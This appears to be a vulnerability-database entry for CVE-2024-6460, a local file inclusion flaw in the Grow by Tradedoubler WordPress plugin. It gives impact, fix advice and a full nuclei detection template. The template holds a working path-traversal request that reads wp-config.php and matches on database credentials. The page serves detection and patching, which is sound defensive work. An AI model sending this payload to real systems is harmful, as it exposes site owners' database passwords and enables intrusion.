HexBrain

Browse / CVEs / CVE-2024-6460

CVE-2024-6460· WordPress / tradedoubler-affiliate-tracker· CWE-22

WordPress Grow by Tradedoubler Plugin < 2.0.22 - Unauthenticated Local File Inclusion

criticalseverity
9.8CVSS score
4.8%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

The Grow by Tradedoubler WordPress plugin through version 2.0.21 is vulnerable to Local File Inclusion via the component parameter. This makes it possible for attackers to include and execute PHP files on the server, allowing the execution of any PHP code in those files.

Impact

Unauthenticated attackers can exploit local file inclusion to read sensitive files like wp-config.php and potentially execute arbitrary PHP code.

Fix

Update Grow by Tradedoubler plugin to version 2.0.22 or later to address the local file inclusion vulnerability.

How to confirm it

Send: GET /
Positive when: contains "tradedoubler-affiliate-tracker"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6460 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-6460

info:
  name: WordPress Grow by Tradedoubler Plugin < 2.0.22 - Unauthenticated Local File Inclusion
  author: ritikchaddha
  severity: critical
  description: |
    The Grow by Tradedoubler WordPress plugin through version 2.0.21 is vulnerable to Local File Inclusion via the component parameter. This makes it possible for attackers to include and execute PHP files on the server, allowing the execution of any PHP code in those files.
  impact: |
    Unauthenticated attackers can exploit local file inclusion to read sensitive files like wp-config.php and potentially execute arbitrary PHP code.
  remediation: |
    Update Grow by Tradedoubler plugin to version 2.0.22 or later to address the local file inclusion vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ba2f53e0-30be-4f37-91bc-5fa151f1eee7
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6460
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6460
    cwe-id: CWE-22
    epss-score: 0.04826
    epss-percentile: 0.92058
  metadata:
    max-request: 2
    vendor: WordPress
    product: tradedoubler-affiliate-tracker
    fofa-query: body="wp-content/plugins/tradedoubler-affiliate-tracker/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,lfi,tradedoubler-affiliate-tracker,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "tradedoubler-affiliate-tracker"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=tm_load_data&component=../../../../wp-config.php

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from